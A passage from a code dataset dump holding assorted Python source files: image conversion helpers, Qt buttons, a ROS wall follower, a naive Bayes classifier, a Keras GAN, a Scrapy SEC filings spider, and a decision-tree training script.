0:\n raise RuntimeError(ERROR_CONVERT)\n return raw_bw_image\n\ndef _resize_y(bw_image, w, h):\n logger.debug(\"Resizing Y\")\n sized_bw_image = pyimage.image(w, h, 'Y')\n if not sized_bw_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.convert(sized_bw_image, bw_image) != 0:\n raise RuntimeError(ERROR_CONVERT)\n return sized_bw_image\n \ndef _resize_rgb(rgb_image, w, h):\n logger.debug(\"Resizing RGB\")\n resized_image = pyimage.image(w, h, 'RGB24')\n if not resized_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.convert(resized_image, rgb_image) != 0:\n raise RuntimeError(ERROR_CONVERT)\n return resized_image\n\ndef _rotate_rgb(rgb_image, w, h):\n logger.debug(\"Rotating image to correct\")\n rotated_rgb_image = pyimage.image(w, h, 'RGB24')\n if not rotated_rgb_image:\n raise RuntimeError(ERROR_CREATE)\n if pyimage.rotate(rotated_rgb_image, rgb_image) != 0:\n raise RuntimeError(ERROR_ROTATE)\n return rotated_rgb_image\n\ndef _get_temp_file(image_type):\n _final_name = \"%s.%s\" % (uuid.uuid4().hex, image_type)\n _final_path = os.path.join(system_config.tmp, _final_name)\n return _final_path\n\ndef _uyvy_to_base_bw(source_image):\n # open file as yu/yv stream\n size = RAW_IMAGE_SIZE\n data = im = None\n logger.debug(\"Opening %r\", source_image)\n with open(source_image,'rb') as f:\n data = array.array('H',f.read())\n if data:\n logger.debug(\"Opened uyvy data file\")\n # extract y stream (grayscale)\n out = array.array('B',[b >> 8 for b in data])\n logger.debug(\"Loading into PIL\")\n im = Image.frombuffer('L',size,out.tostring(),'raw','L', 0, 1)\n base_w, base_h = tuple([int(i/2) for i in RAW_IMAGE_SIZE])\n logger.debug(\"Resizing image\")\n im = im.resize((base_w, base_h), resize_algorithm)\n return im\n\ndef _dither_threshold(image_data):\n def closest_g16(i):\n raw = i & 0xf0\n if i & 0xf > 7 and raw < 0xf0:\n raw += 0x10\n return raw\n # generate palette\n palette = [closest_g16(i) for i in range(256)]\n out = array.array('B',[palette[b] for b in image_data])\n return out\n\ndef _dither_data(image_data, algorithm=0):\n if algorithm == 0:\n return _dither_threshold(image_data)\n elif algorithm == 1:\n return _dither_threshold(image_data)\n\ndef dither(image, algorithm=system_config.dithering_algorithm):\n _temp_path = _get_temp_file(\"pgm\")\n size = image.size\n image.save(_temp_path)\n source_image = pyimage.load_pnm(_temp_path)\n if not source_image:\n raise RuntimeError(ERROR_LOAD)\n logger.debug(\"Dithering size: %r\", size)\n x, y = size\n dithered_image = pyimage.image(x, y, 'Y')\n if not dithered_image:\n raise RuntimeError(ERROR_LOAD)\n if pyimage.dither(dithered_image, source_image, int(algorithm)) != 0:\n raise RuntimeError(ERROR_DITHER)\n if pyimage.save_pnm(dithered_image, _temp_path) != 0:\n raise RuntimeError(ERROR_SAVE)\n return Image.open(_temp_path), _temp_path\n\ndef convert_to_bw(source_image):\n \"\"\"Get a black and white image from the current photo.\"\"\"\n# base_bw = _uyvy_to_base_bw(source_image)\n# after = datetime.datetime.now()\n# logger.debug(\"get_bw took: %r\", (after - now))\n# return base_bw.rotate(90), ''\n now = datetime.datetime.now()\n name, extension = os.path.basename(source_image).split('.')\n raw_bw = _uyvy_to_y(source_image)\n \n base_w, base_h = tuple([int(i/2) for i in RAW_IMAGE_SIZE])\n raw_bw = _resize_y(raw_bw, base_w, base_h)\n \n _temp_path = _get_temp_file(\"pgm\")\n if pyimage.save_pnm(raw_bw, _temp_path) != 0:\n raise RuntimeError(ERROR_SAVE)\n\n after = datetime.datetime.now()\n logger.debug(\"get_bw took: %r\", (after - now))\n return Image.open(_temp_path).rotate(90), _temp_path\n \ndef convert_to_color(source_image, target_path=None, image_type=\"jpg\", \n image_quality=system_config.image_quality, \n image_resolution=system_config.image_resolution, \n image_rotation=system_config.image_rotation):\n \"\"\"Get a color image from the current photo.\"\"\"\n now = datetime.datetime.now()\n name, extension = os.path.basename(source_image).split('.')\n # Convert UYVY to RGB\n w, h = RAW_IMAGE_SIZE\n rgb_image = _uyvy_to_rgb(source_image)\n \n temp_buffer = rgb_image\n # Resize image\n factor_size = IMAGE_SIZES[image_resolution]\n if factor_size < 1.0:\n logger.debug(\"Resizing image to factor: %r\", factor_size)\n w, h = tuple([int(factor_size*i) for i in RAW_IMAGE_SIZE])\n temp_buffer = _resize_rgb(rgb_image, w, h)\n \n # Rotate image up\n # TODO: we do not use the rotate feature yet\n temp_buffer = _rotate_rgb(temp_buffer, h, w)\n \n _final_path = target_path\n if _final_path is None:\n _final_path = _get_temp_file(image_type)\n if image_type == 'bmp':\n if pyimage.save_bitmap(temp_buffer, _final_path) != 0:\n raise RuntimeError(ERROR_SAVE)\n else:\n if pyimage.save_jpeg(temp_buffer, _final_path, int(image_quality)) != 0:\n raise RuntimeError(ERROR_SAVE)\n after = datetime.datetime.now()\n logger.debug(\"get_color took: %r\", (after - now))\n return Image.open(_final_path), _final_path","sub_path":"ew/util/ew_image.py","file_name":"ew_image.py","file_ext":"py","file_size_in_byte":12974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"57594712","text":"__author__='Josh Renton'\n\n#------------------------------------------------------\nimport PySide.QtCore as QtCore\nimport PySide.QtGui as QtGui\n\nimport sys\nimport os\nimport time\n\nimport Assets\n\n\n\n#=======================================================\n\n\nclass PushButton( QtGui.QPushButton ):\n '''\n An abstract PushButton class. A basis for all PushButtons instantiated.\n\n '''\n\n def __init__( self, text, parent=None ):\n #super( PushButton, self ).__init__( self )\n QtGui.QPushButton.__init__( self, text=text, parent=parent )\n\n self.update()\n\n def fitToScreenRatio( self, divider, isSquare=False ):\n '''\n Ensuring standardised size, taken from parent window\n '''\n height = self.parent().rect().height() / divider \n\n if isSquare:\n width = height\n else:\n height /= 2\n width = ( self.parent().rect().width() / divider ) * 3\n\n\n self.setMaximumSize( QtCore.QSize( width, height ) )\n self.setMinimumSize( QtCore.QSize( width, height ) )\n\n\nclass Play( PushButton ):\n '''\n Get cho game onnnnn\n\n '''\n\n def __init__( self, text='Play!', parent=None ):\n #super( PushButton, self ).__init__( self )\n QtGui.QPushButton.__init__( self, text=text, parent=parent )\n\n self.fitToScreenRatio( 4 )\n\n self.update()\n\n\n\nclass Quit( PushButton ):\n '''\n A standard exit button.\n\n '''\n\n def __init__( self, parent=None ):\n #super( PushButton, self ).__init__( self )\n PushButton.__init__( self, None, parent=parent )\n\n self.fitToScreenRatio( 12, isSquare=True )\n\n self.setIcon( Assets.QuitIcon( parent=self ) )\n\n self.clicked.connect( self.quit )\n\n self.update()\n\n def quit( self ):\n sys.exit( 0 )","sub_path":"Buttons.py","file_name":"Buttons.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"190660115","text":"import sys\nimport numpy as np\nimport random\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\ndef get_my_teacher():\n min_edge = 1\n max_edge = 1\n min_blobs = 1\n max_blobs = 9\n\n \n c = min_blobs\n total = 0\n while (c < max_blobs + 1):\n if c == 0:\n total = total + 1000\n c = c + 1\n continue\n cN = int(10/c)\n total = total + cN\n c = c + 1\n\n nOf_nBlob_imgs = 4\n img_edge = 10\n img_size = img_edge * img_edge\n n_labels = max_blobs\n train = np.zeros([total, img_size]) #training imgs\n label = np.zeros([total, n_labels]) #labels\n trace = [] #list(imgs) of set(traces for each img) of tuples(lx, ly)\n img_count = 0\n\n #create 4 images\n for n in range(min_blobs, max_blobs+1):\n num_blobs = n\n num_imgs = int(10/n)\n for x in range(num_imgs):\n img = np.zeros(img_size)\n count = 0\n used = np.zeros([num_blobs, 4]) # x_coor, y_coor, width, height for each blob\n list_traces = [] #set of traces\n lxly_list = []\n #create info of each image\n while count < num_blobs: \n height = random.randint(min_edge, max_edge)\n width = random.randint(min_edge, max_edge)\n lx = random.randint(1, 9-width)\n ly = random.randint(1, 9-width)\n h = height\n w = width\n\n index = 0\n\n while index < count:\n if lx+width+1 <= used[index, 0] or used[index, 0]+1+used[index,2] <= lx or used[index, 1]+1+used[index,3] <= ly or ly+height+1<=used[index,1]:\n index = index + 1\n else:\n lx = random.randint(1, 9-width)\n ly = random.randint(1, 9-height)\n index = 0\n \n used[index, 0] = lx\n used[index, 1] = ly\n lxly_list.append((lx, ly))\n # print(lxly_list)\n used[index, 2] = width\n used[index, 3] = height\n\n for p in range(lx, lx+width):\n for q in range(ly, ly+height):\n img[p*10+q] = 255\n\n count = count + 1\n\n train[img_count] = img\n label[img_count, num_blobs-1] = 1\n img_count += 1\n\n for t in range(num_blobs):\n #trace_current = []\n l1 = lxly_list\n if t % 4 == 0:\n l1.sort(key=lambda tup:tup[0])\n l1.sort(key=lambda tup:tup[1])\n if t % 4 == 1:\n l1.sort(key=lambda tup:tup[0], reverse=True)\n l1.sort(key=lambda tup:tup[1])\n if t % 4 == 2:\n l1.sort(key=lambda tup:tup[0])\n l1.sort(key=lambda tup:tup[1], reverse=True)\n if t % 4 == 3:\n l1.sort(key=lambda tup:tup[0], reverse=True)\n l1.sort(key=lambda tup:tup[1], reverse=True)\n for index in range(num_blobs):\n #trace_current.append(l1[index])\n minimum = 10000\n for p in range(1,num_blobs-index): \n diff = (l1[index+p][0]-l1[index][0])**2 + (l1[index+p][1]-l1[index][1])**2\n if diff < minimum:\n minimum = diff\n temp = l1[index+1]\n l1[index+1] = l1[index+p]\n l1[index+p] = temp\n p = p + 1\n index = index+1\n v =int(255 / num_blobs)\n im = np.zeros((10, 10))\n for j in range(num_blobs):\n im[l1[j][0]][l1[j][1]] = v\n v = int(v + 255 / num_blobs)\n #print(im)\n #plt.imshow(im, interpolation=\"nearest\", origin=\"upper\")\n #plt.colorbar()\n #plt.title(label[img_count - 1])\n #plt.show()\n list_traces.append(l1)\n\n \n trace.append(list_traces)\n #print(trace)\n\n return train, label, trace\n\n # np.set_printoptions(threshold=np.nan)\n # sys.stdout = open(\"tTrain.txt\", \"w\")\n # print(train)\n # sys.stdout.close()\n # sys.stdout = open(\"tLabel.txt\", \"w\")\n # print(label)\n # sys.stdout.close()\n # sys.studout = open(\"tTrace.txt\", \"w\")\n\n\n","sub_path":"scalar_models/HiddenAnalysis/trace_data.py","file_name":"trace_data.py","file_ext":"py","file_size_in_byte":4561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"500210943","text":"#!/usr/bin/env python3\n\nimport rospy, cv2, numpy\nfrom sensor_msgs.msg import Image\nfrom geometry_msgs.msg import Twist\nfrom geometry_msgs.msg import Vector3\n# msg needed for /scan.\nfrom sensor_msgs.msg import LaserScan\n\n# How close we will get to wall.\ndistance = .8\n\nclass Follower:\n\n def __init__(self):\n rospy.init_node('wall_follow')\n\n # set self.process_scan as the function to be used for callback.\n rospy.Subscriber(\"/scan\", LaserScan, self.image_callback)\n\n # Get a publisher to the cmd_vel topic.\n self.twist_pub = rospy.Publisher(\"/cmd_vel\", Twist, queue_size=10)\n\n self.twist = Twist()\n\n def image_callback(self, data):\n angle_count = 0\n min_angle = numpy.argmin(data.ranges)\n if (min_angle > 273 or min_angle <= 268) or (data.ranges[min_angle] > distance):# and data.ranges[min_angle] > distance:\n #If wall is not to the right or robot is further than distance from wall\n min_angle = numpy.argmin(data.ranges)\n if data.ranges[min_angle] >= distance: \n # If robot further than distance frmo wall, move forward\n self.twist.linear.x = 0.2\n self.twist.angular.z = 0\n self.twist_pub.publish(self.twist)\n elif min_angle < 15 or min_angle > 345:\n # If wall in front, turn \n self.twist.linear.x = 0\n self.twist.angular.z = 30*3.14159265/180\n self.twist_pub.publish(self.twist)\n elif min_angle < 273: \n # If angle between robot and wall too small, adjust\n self.twist.linear.x = 0\n #current_angle = 0 \n #if True: #while(current_angle < 5):\n #t1 = rospy.Time.now().to_sec()\n #current_angle = 5*3.14159625/180*(t1-t0)\n self.twist.angular.z = -3*3.14159265/180\n self.twist_pub.publish(self.twist)\n else: \n # If angle between robot and wall too large, adjust\n self.twist.linear.x = 0\n self.twist.angular.z = 3*3.14159265/180\n self.twist_pub.publish(self.twist)\n else:\n if data.ranges[0] > distance+.4: \n # Go forward if not close enough to wall.\n self.twist.linear.x = 0.2\n self.twist.angular.z = 0\n self.twist_pub.publish(self.twist)\n else:\n # Close enough to wall, stop.\n self.twist.linear.x = 0.2\n self.twist.angular.z = 10*3.14159265/180\n self.twist_pub.publish(self.twist)\n \nif __name__ == '__main__':\n follower = Follower()\n rospy.spin()\n","sub_path":"scripts/wall_follow.py","file_name":"wall_follow.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"493376575","text":"def applyFilter(pixels):\n\n # This is an array where we'll store pixels for the new image. In the beginning, it's empty.\n newPixels = []\n\n # Let's go through the entire image, one pixel at a time\n for pixel in pixels:\n\n # Let's get the Red, Green and Blue values for the current pixel\n inputRed = pixel[0]\n inputGreen = pixel[1]\n inputBlue = pixel[2]\n\n # Let's calculate Red, Green, and Blue values for the new pixel.\n # For example, remove all the blue out of this picture:\n outputRed = inputRed\n outputGreen = inputGreen\n outputBlue = 0\n\n # Now that we know the color values for the new pixel, let's create this pixel. \n newPixel = [0,0,0]\n\n # Let's set the Red, Green, and Blue values for this new pixel\n newPixel[0] = outputRed \n newPixel[1] = outputGreen\n newPixel[2] = outputBlue\n\n # add the new pixel to the resulting image\n newPixels.append(newPixel)\n\n return newPixels","sub_path":"imgEditor/editor/processing/custom.py","file_name":"custom.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"288964245","text":"import numpy as np\nimport scipy.special as spec\n\nclass NaiveBayesClassifier(object):\n\n params = None\n targetlist = None\n\n def __init__(self, alpha=1.):\n \"\"\"\n alpha: Laplace smoothing parameter.\n \"\"\"\n self.alpha = alpha\n\n def fit(self, X, y):\n \"\"\"\n X: the feat matrix\n y: target vector\n \"\"\"\n card_D, card_T = X.shape\n\n y = np.array(y)\n\n # get estimate for priors\n C, phi_c = np.unique(y, return_counts=True)\n p_c = phi_c.astype(float) / np.sum(phi_c)\n\n logp_c = np.log(p_c)\n logp_w_c = np.zeros((len(C), card_T))\n\n # calculate likelihood p(w|c)\n for ix, c in enumerate(C):\n nw_c = np.sum(X[y == c, :], axis=0) + self.alpha\n logp_w_c[ix, :] = np.log(nw_c) - np.log(np.sum(nw_c))\n\n self.params = (logp_w_c, logp_c)\n self.targetlist = C\n\n return self.params\n\n def predict(self, X):\n \"\"\"\n X: the feature matrix to be classified.\n \"\"\"\n card_D = X.shape[0]\n\n feature_log_proba_, class_log_prior_ = self.params\n card_C, card_T = feature_log_proba_.shape\n\n XC = np.zeros((card_D, card_C))\n for ix, c in enumerate(self.targetlist):\n XC[:, ix] = X.dot(feature_log_proba_[ix, :]) + class_log_prior_[ix]\n\n # return np.argmax(XC, axis=1)\n return [self.targetlist[int(tn)] for tn in np.argmax(XC, axis=1)]\n","sub_path":"NB/naive_bayes.py","file_name":"naive_bayes.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"324897362","text":"'''\n\n1046. Last Stone Weight\n\nEasy\n\nWe have a collection of rocks, each rock has a positive integer weight.\n\nEach turn, we choose the two heaviest rocks and smash them together. Suppose the stones have weights x and y with x <= y. The result of this smash is:\n\nIf x == y, both stones are totally destroyed;\nIf x != y, the stone of weight x is totally destroyed, and the stone of weight y has new weight y-x.\nAt the end, there is at most 1 stone left. Return the weight of this stone (or 0 if there are no stones left.)\n\n \n\nExample 1:\n\nInput: [2,7,4,1,8,1]\nOutput: 1\nExplanation: \nWe combine 7 and 8 to get 1 so the array converts to [2,4,1,1,1] then,\nwe combine 2 and 4 to get 2 so the array converts to [2,1,1,1] then,\nwe combine 2 and 1 to get 1 so the array converts to [1,1,1] then,\nwe combine 1 and 1 to get 0 so the array converts to [1] then that's the value of last stone.\n\n'''\nimport heapq\nclass Solution:\n # run time O(nlgn), which equals to 'sort solution'\n def lastStoneWeight(self, stones: List[int]) -> int:\n stones = [-n for n in stones]\n heapq.heapify(stones) # O(n)\n while len(stones)>1: # O(nlgn)\n large_1, large_2 = heapq.heappop(stones), heapq.heappop(stones)\n result = large_1 - large_2\n print(stones, result)\n if result == 0:\n continue\n else:\n heapq.heappush(stones, result)\n if stones:\n return -stones[0]\n else:\n return 0","sub_path":"normal_order_python/1046.LastStoneWeight.py","file_name":"1046.LastStoneWeight.py","file_ext":"py","file_size_in_byte":1495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"543919433","text":"import keras\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\n# Fitting parameters\nnum_epochs = 10\nnoise_dim = 100\n\nlr_discriminator = 0.0001\nbeta1_discriminator = 0.5\nlr_generator = 0.0001\nbeta1_generator = 0.5\n\n# Load data\n(train_data, train_labels), (test_data, test_labels) = keras.datasets.mnist.load_data()\n\n# Normalize image data\ntrain_data = train_data / 255\n\n# Reshape train data for batches\nbatch_size = 32\nnum_batches = int(train_data.shape[0] / batch_size)\ntrain_data = train_data[:(batch_size * num_batches),:,:]\n\ntrain_data = train_data.reshape((num_batches, batch_size) + train_data.shape[1:])\n\n# Reshape to include channels\ntrain_data = train_data.reshape(train_data.shape + tuple([1]))\nimage_shape = train_data.shape[2:]\n\n# Generator model\nmodel_generator = keras.Sequential([\n\tkeras.layers.Dense(64 * 7 * 7, input_shape = (noise_dim,)),\n\tkeras.layers.Reshape((7, 7, 64)),\n\t\n\tkeras.layers.Conv2DTranspose(32, kernel_size = 3, strides = 2, padding = 'same'),\n\tkeras.layers.BatchNormalization(),\n\tkeras.layers.LeakyReLU(0.01),\n\t\n\tkeras.layers.Conv2DTranspose(16, kernel_size = 3, strides = 1, padding = 'same'),\n\tkeras.layers.BatchNormalization(),\n\tkeras.layers.LeakyReLU(0.01),\n\t\n\tkeras.layers.Conv2DTranspose(1, kernel_size = 3, strides = 2, padding = 'same'),\n\t\n\tkeras.layers.Activation('tanh')\n])\nmodel_generator.compile(keras.optimizers.Adam(lr = lr_generator, beta_1 = beta1_generator), keras.losses.binary_crossentropy)\n\n# DEBUG\nn_gen_trainable = len(model_generator.trainable_weights)\n\n# Discriminator model\nmodel_discriminator = keras.Sequential([\n\tkeras.layers.Conv2D(32, kernel_size = 3, strides = 2, padding = 'same', input_shape = image_shape),\n\tkeras.layers.BatchNormalization(),\n\tkeras.layers.LeakyReLU(0.01),\n\t\n\tkeras.layers.Conv2D(64, kernel_size = 3, strides = 1, padding = 'same'),\n\tkeras.layers.BatchNormalization(),\n\tkeras.layers.LeakyReLU(0.01),\n\t\n\tkeras.layers.Flatten(),\n\tkeras.layers.Dense(32),\n\tkeras.layers.ReLU(),\n\t\n\tkeras.layers.Dense(16),\n\tkeras.layers.ReLU(),\n\t\n\tkeras.layers.Dense(1, activation = 'sigmoid')\n])\nmodel_discriminator.compile(keras.optimizers.Adam(lr = lr_discriminator, beta_1 = beta1_discriminator), keras.losses.binary_crossentropy, metrics = ['accuracy'])\n\n# DEBUG\nn_disc_trainable = len(model_discriminator.trainable_weights)\n\n# Stacked model\n#model_discriminator_fixed = keras.models.Model(inputs = model_discriminator.inputs, outputs = model_discriminator.outputs)\nmodel_discriminator_fixed = keras.engine.network.Network(inputs = model_discriminator.inputs, outputs = model_discriminator.outputs)\nmodel_discriminator_fixed.trainable = False\nmodel = keras.Sequential([model_generator, model_discriminator_fixed])\nmodel.compile(keras.optimizers.Adam(lr = lr_generator, beta_1 = beta1_generator), keras.losses.binary_crossentropy, metrics = ['accuracy'])\n\n# DEBUG\nn_disc_fixed_trainable = len(model_discriminator_fixed.trainable_weights)\nn_model_trainable = len(model.trainable_weights)\n\nassert(n_model_trainable == n_gen_trainable)\nassert(n_disc_fixed_trainable == 0)\n\n#epoch = 1\n#asdf\ngenerator_mean_acc = 1\ndiscriminator_mean_acc = 1\nbatch_order = np.arange(num_batches, dtype = int)\nfor epoch in range(num_epochs):\n\tloss_discriminator = np.zeros((num_batches, 2))\n\tloss_generator = np.zeros((num_batches, 2))\n\tnp.random.shuffle(batch_order)\n\tfor batch_index in tqdm(range(num_batches), desc = 'Epoch %i' % (epoch + 1)):\n\t\tbatch = batch_order[batch_index]\n\t\t\n\t\ttrue_samples_batch = train_data[batch,:,:,:,:]\n\t\tgen_noise = np.random.normal(size = (batch_size, noise_dim))\n\t\tgen_samples = model_generator.predict(gen_noise)\n\t\t\n\t\tx_combined = np.concatenate((true_samples_batch, gen_samples))\n\t\ty_combined = np.concatenate((np.ones((batch_size, 1)), np.zeros((batch_size, 1))))\n\t\t\n\t\tloss_discriminator[batch,:] = model_discriminator.train_on_batch(x_combined, y_combined)\n\t\t\n\t\tnoise = np.random.normal(size = (batch_size * 2, noise_dim))\n\t\ty_mislabeled = np.ones((batch_size * 2, 1))\n\t\t\n\t\tloss_generator[batch,:] = model.train_on_batch(noise, y_mislabeled)\n \n\tgenerator_mean_acc = np.mean(loss_generator[:,1])\n\tdiscriminator_mean_acc = np.mean(loss_discriminator[:,1])\n\tprint ('[Discriminator :: accuracy: %f], [ Generator :: accuracy: %f]' % (discriminator_mean_acc, generator_mean_acc))\n\t\n\tif (epoch + 1) % 1 == 0:\n\t\tgen_noise = np.random.normal(size = (16, noise_dim))\n\t\tgen_samples = model_generator.predict(gen_noise)\n\t\t\n\t\t\n\t\tplt.figure(figsize = (10, 10))\n\t\tfor i in range(16):\n\t\t\tplt.subplot(4, 4, i + 1)\n\t\t\tplt.imshow(gen_samples[i,:,:,0])\n\t\tplt.savefig('images/gan_%i.png' % (epoch + 1))\n\t\tplt.close()\n\n# Validation\n","sub_path":"gan/gan_conv_mnist.py","file_name":"gan_conv_mnist.py","file_ext":"py","file_size_in_byte":4618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"509129755","text":"import eventlet\neventlet.monkey_patch()\n\nimport pytest\nimport datetime\nfrom nameko.testing.services import worker_factory\nfrom pymongo import MongoClient\n\nfrom application.services.tweet_collector import TweetCollectorService\n\n\n@pytest.fixture\ndef database(db_url):\n client = MongoClient(db_url)\n \n yield client['test_db']\n \n client.drop_database('test_db')\n client.close()\n\n\nclass MockTwitterUser(object):\n def __init__(self):\n self.id = 0\n self.created_at = datetime.datetime.now()\n self.description = 'description'\n self.entities = []\n self.location = 'location'\n self.name = 'name'\n self.screen_name = 'screen name'\n self.followers_count = 65\n self.friends_count = 3\n\n\nclass MockTwitterStatus(object):\n def __init__(self):\n self.id = 0\n self.created_at = datetime.datetime.now()\n self.entities = []\n self.favorited = None\n self.is_quote_status = None\n self.retweeted = False\n self.truncated = False\n self.text = 'my tweet'\n self.user = MockTwitterUser()\n\n\ndef test_add_user(database):\n service = worker_factory(TweetCollectorService, database=database)\n \n service.api.get_user.side_effect = lambda user_id: MockTwitterUser()\n \n assert service.add_user('user') == 0\n\n user = database.tweets.find_one({'id': 0})\n\n assert user['screen_name'] == 'screen name'\n\n\ndef test_update_tweets(database):\n service = worker_factory(TweetCollectorService, database=database)\n\n service.api.get_user.side_effect = lambda user_id: MockTwitterUser()\n service.api.get_status.side_effect = lambda user_id, since_id=None: [MockTwitterStatus()]\n\n service.add_user('user')\n service.update_tweets()\n\n user = database.tweets.find_one({'id': 0})\n\n assert user['tweets'][0]['id'] == 0\n assert user['tweets'][0]['text'] == 'my tweet'\n","sub_path":"application/tests/unit_test.py","file_name":"unit_test.py","file_ext":"py","file_size_in_byte":1904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"190920825","text":"from lib import clean, git, check_cr, _basebin, _msysbin, _work\nfrom string import atoi\nfrom os.path import pathsep, pardir\nfrom os import environ, chmod, chdir, remove\n\ndef main():\n environ['PATH'] = pathsep.join((_msysbin, _basebin))\n for content in '\\r\\n', '\\n':\n test(content)\n chdir(pardir)\n\ndef test(content):\n raw_input('please Windows rm ' + _work + ': ')\n clean()\n chdir(_work)\n git('init')\n h = open('beef', 'wb')\n h.write(content)\n h.close()\n check_cr_against_written_content(content)\n git('add', '.')\n check_cr_against_written_content(content)\n git('commit', '-m', '-')\n check_cr_against_written_content(content)\n remove('beef')\n git('reset', '--hard')\n check_beef_cr(True)\n raw_input('please EGit diff, check no diff: ')\n raw_input('please EGit commit, check nothing happens: ')\n remove('beef')\n raw_input('please EGit reset --hard: ')\n check_beef_cr(False)\n\ndef check_cr_against_written_content(written):\n check_beef_cr(0 <= written.find('\\r'))\n\ndef check_beef_cr(cr_expected):\n check_cr('beef', cr_expected)\n\nif __name__ == '__main__':\n main()\n","sub_path":"last-dropbox/egitproblem/bb22.py","file_name":"bb22.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"629264101","text":"import tkinter\nroot=tkinter.Tk()\nroot.title('Window basics!')\nroot.iconbitmap('thinking.ico')\nroot.geometry('250x700')\nroot.resizable(0,0)\nroot.config(bg= '#999999')\n\n#making second window\ntop=tkinter.Toplevel()\ntop.title('Second window')\ntop.config(bg='#003366')\ntop.geometry('200x200+500+50')\n# run root's window main loop (forever cycle, until close (X) is clicked)\nroot.mainloop()","sub_path":"pre_lesson_0/basics_window.py","file_name":"basics_window.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"307080288","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nfrom datetime import datetime, timedelta\nimport logging\nfrom configparser import ConfigParser\nimport os, pathlib\nfrom ..items import PubMonitorItem\nimport re\nimport html\n\nclass SecEdgarMassSpider(scrapy.Spider):\n name = 'sec-edgar-mass'\n allowed_domains = ['www.sec.gov']\n items = PubMonitorItem()\n\n configs = ConfigParser()\n path = pathlib.Path(os.path.realpath(__file__))\n configs.read(path.parent.parent.parent/'config.ini')\n forms = configs.get(\"SEC\", \"forms\").split(', ')\n duration = int(configs.get(\"SEC\", \"duration\"))\n\n def start_requests(self):\n df = pd.read_excel(f\"{SecEdgarMassSpider.configs.get('APP', 'input_dir')}/sec.xlsx\")\n df = df[df['SEARCH_KEY2'].notna()]\n for i, row in df.tail(50).iterrows():\n url = f\"https://www.sec.gov/cgi-bin/browse-edgar?action=getcompany&CIK={int(row['SEARCH_KEY2'])}&owner=exclude&count=100&datea={(datetime.today()-timedelta(days=SecEdgarMassSpider.duration)).strftime('%Y%m%d')}&output=atom\"\n yield scrapy.Request(url, callback=self.parse, meta=row.to_dict())\n\n def validation(self, title):\n if any([key.lower() in title.lower() for key in SecEdgarMassSpider.forms]):\n return True\n\n def parse(self, response):\n self.crawler.stats.set_value(\"spider_name\", self.name)\n soup = BeautifulSoup(response.text, 'lxml')\n for element in soup.find_all('entry'):\n d = re.split(' | ', html.unescape(element.find('summary').text))[2]\n SecEdgarMassSpider.items['publication_date'] = date = datetime.strptime(d, \"%Y-%m-%d\")\n SecEdgarMassSpider.items['doc_name'] = title = element.find('title').text.split(' - ')[0]\n SecEdgarMassSpider.items['doc_link'] = element.find('link').attrs['href']\n SecEdgarMassSpider.items['ukey'] = response.meta['U_KEY']\n SecEdgarMassSpider.items['company_id'] = response.meta['Company ID']\n SecEdgarMassSpider.items['company_name'] = response.meta['Company Name']\n SecEdgarMassSpider.items['mkey'] = response.meta['M_KEY']\n SecEdgarMassSpider.items['domicile'] = response.meta['DOMICILE']\n SecEdgarMassSpider.items['trgr'] = response.meta['TRIGGER_DOC']\n SecEdgarMassSpider.items['update_date'] = datetime.now()\n SecEdgarMassSpider.items['year'] = date.year\n SecEdgarMassSpider.items['t_publication_date'] = response.meta['T_PUBL_DATE']\n if self.validation(title):\n yield SecEdgarMassSpider.items\n","sub_path":"Output/PMT_python-master/PMT_python-master/pub_monitor/pub_monitor/spiders/sec_edgar_mass.py","file_name":"sec_edgar_mass.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"279856869","text":"import os\nfrom sklearn import tree\nfrom joblib import dump\n\ndef readData(path):\n result = {}\n for root, dirs, files in os.walk(path):\n for f in files:\n logs = []\n user,__ = f.split(\".\")\n with open(path+f,\"r\") as f:\n for line in f.readlines():\n logs.append(line.strip())\n result[user] = logs\n return result\n\ndef unifyTime(time):\n hour,minute = time.split(\":\")\n return int(hour) * 60 + int(minute)\n\ndef train(input):\n\n for id,logs in input.items():\n dx,nx,day,night = [], [], [], []\n\n for log in logs:\n week,date,id,on,off = log.split(\",\")\n if on != 'null':\n dx.append([int(week)])\n day.append(unifyTime(on))\n if off != \"null\":\n nx.append([int(week)])\n night.append(unifyTime(off))\n\n daytree = tree.DecisionTreeRegressor()\n daytree.fit(dx,day)\n nightree = tree.DecisionTreeRegressor()\n nightree.fit(nx,night)\n dayfile = \"models/\"+id+\"-day\"+\".joblib\"\n nightfile = \"models/\"+id+\"-night\"+\".joblib\"\n dump(daytree,dayfile)\n dump(nightree,nightfile)\n\ndef train_api(data_path):\n trainData = readData(data_path)\n if not trainData:\n return False, 'Can not read the data'\n train(trainData)\n return True, 'Training finished'\n\nif __name__ == '__main__':\n trainData = readData(\"./train/\")\n train(trainData)\n 